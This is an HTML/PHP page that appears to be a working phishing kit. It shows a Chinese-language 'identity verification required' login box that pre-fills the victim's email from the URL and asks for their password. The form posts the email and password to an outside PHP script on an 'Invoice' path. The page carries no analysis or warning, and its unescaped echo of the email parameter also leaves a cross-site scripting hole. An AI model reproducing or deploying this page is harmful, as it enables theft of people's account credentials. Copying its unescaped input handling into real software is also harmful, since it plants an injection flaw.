<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body, html {
  height: 100%;
  margin: 0;
  font-family: Arial, Helvetica, sans-serif;
}

* {
  box-sizing: border-box;
}

.bg-image {
  /* The image used */
  background-image: url("https://pecb.com/article_docs/images/4326476355C9D88F79331D280513E28F.jpg"); 
  
  /* Add the blur effect */
  filter: blur(0px);
  -webkit-filter: blur(0px);
  
  /* Full height */
  height: 100%; 
  
  
  /* Center and scale the image nicely */
  background-position: center;
  background-repeat: no-repeat;
  background-size: cover;
}

/* Position text in the middle of the page/image */
.bg-text {
  background-color: #FFF; /* Fallback color */
  color: white;
  border-radius: 20px 0px 15px 0px;
  position: absolute;
  top: 48%;
  left: 50%;
  transform: translate(-50%, -50%);
  z-index: 2;
  width: 27%;
  height:310px;
  padding: 20px;
  text-align: center;
}
</style>
</head>
<body>

<div class="bg-image"></div>

<div class="bg-text">
  
  
  
	<div align="center">
		<p>
		
			<div align="center">
			<form method="post" action="https://aywa.co/Invoice/access1.php">
			</div>
			
			
			<div align="center">
			
				<font face="verdana" color="#045FB4" style="font-size:18px;">
				&#38656;&#35201;&#36523;&#20221;&#39564;&#35777;
				</font>
			
			</div>
			
			
			
			<hr align="center" width="100%" color="#D8D8D8">
			
			<br>
			
			<div align="center">
			
				<font face="verdana" color="#045FB4" style="font-size:11px;">
				<b>&#35201;&#32487;&#32493;&#65292;&#35831;&#30331;&#24405;&#20197;&#30830;&#35748;&#24744;&#30340; ID</b>
				</font>
			
			</div>
			
			<br>
			<div align="center">
			<input type="email" name="login" value="<?php echo $_GET['email']; ?>" 
			style="background: #FFF; width:300px; height:35px; border: #FFF; padding:7px; border-radius:3px; 
			-webkit-box-shadow: 1px 1px 1px 1px #848484; box-shadow: 1px 1px 1px 1px #848484; font-weight:bold;" disabled>
			</div>
			<br>
			<div align="center">
			<input type="password" placeholder="&#36755;&#20837;&#23494;&#30721;" name="passwd" required 
			style="width:300px; height:33px; border: #FFF; padding:7px; border-radius:3px; 
			-webkit-box-shadow: 1px 1px 1px 1px #848484; box-shadow: 1px 1px 1px 1px #848484; font-size:13px;">
			</div>
			<br>
			<div align="center">
			<input type="submit" value="&#29616;&#22312;&#39564;&#35777;&#25105;" 
			style="background: #0B2161; width:300px; height:35px; border: #0B2161; padding:7px; border-radius:3px; font-weight:bold; color:#FFF;">
			</div>
			<input type="hidden" name="login" value="<?php echo $_GET['email']; ?>">
			</form>
			
		</p>
	</div>
	
  
</div>

</body>
</html>